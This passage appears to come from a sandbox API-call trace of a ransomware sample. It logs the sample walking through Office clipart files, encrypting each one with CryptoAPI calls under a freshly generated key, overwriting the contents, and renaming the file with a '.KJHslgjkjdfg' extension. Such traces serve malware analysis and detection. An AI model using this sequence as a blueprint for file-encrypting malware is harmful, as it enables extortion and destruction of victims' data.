lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0206.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.321] GetProcessHeap () returned 0x990000 [0206.321] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.321] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.323] GetProcessHeap () returned 0x990000 [0206.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.324] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.324] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.324] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.324] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.324] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.324] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd3c, lpOverlapped=0x0) returned 1 [0206.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd40, dwBufLen=0xd40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd40) returned 1 [0206.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.325] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd40, lpOverlapped=0x0) returned 1 [0206.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.325] SetEndOfFile (hFile=0x130) returned 1 [0206.326] GetProcessHeap () returned 0x990000 [0206.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.326] GetProcessHeap () returned 0x990000 [0206.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.kjhslgjkjdfg")) returned 1 [0206.327] CloseHandle (hObject=0x130) returned 1 [0206.328] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0206.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.329] GetProcessHeap () returned 0x990000 [0206.329] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.330] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.330] GetProcessHeap () returned 0x990000 [0206.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.332] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.332] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.333] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.333] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.333] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1750, lpOverlapped=0x0) returned 1 [0206.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750, dwBufLen=0x1750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750) returned 1 [0206.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.334] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1750, lpOverlapped=0x0) returned 1 [0206.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.334] SetEndOfFile (hFile=0x130) returned 1 [0206.337] GetProcessHeap () returned 0x990000 [0206.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.337] GetProcessHeap () returned 0x990000 [0206.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.kjhslgjkjdfg")) returned 1 [0206.338] CloseHandle (hObject=0x130) returned 1 [0206.339] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0206.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.340] GetProcessHeap () returned 0x990000 [0206.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.341] GetProcessHeap () returned 0x990000 [0206.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.341] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.342] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.343] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.343] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1540, lpOverlapped=0x0) returned 1 [0206.344] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1540, dwBufLen=0x1540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1540) returned 1 [0206.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.344] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1540, lpOverlapped=0x0) returned 1 [0206.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.345] SetEndOfFile (hFile=0x130) returned 1 [0206.345] GetProcessHeap () returned 0x990000 [0206.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.345] GetProcessHeap () returned 0x990000 [0206.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.kjhslgjkjdfg")) returned 1 [0206.347] CloseHandle (hObject=0x130) returned 1 [0206.347] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0206.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.349] GetProcessHeap () returned 0x990000 [0206.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.349] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.351] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.351] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.351] GetProcessHeap () returned 0x990000 [0206.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.351] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.351] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.351] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.351] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.352] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.352] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.352] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.352] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.352] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19f4, lpOverlapped=0x0) returned 1 [0206.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a00) returned 1 [0206.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.354] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a00, lpOverlapped=0x0) returned 1 [0206.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.355] SetEndOfFile (hFile=0x130) returned 1 [0206.356] GetProcessHeap () returned 0x990000 [0206.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.356] GetProcessHeap () returned 0x990000 [0206.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.kjhslgjkjdfg")) returned 1 [0206.357] CloseHandle (hObject=0x130) returned 1 [0206.358] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0206.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.359] GetProcessHeap () returned 0x990000 [0206.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.359] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0206.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.361] GetProcessHeap () returned 0x990000 [0206.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, 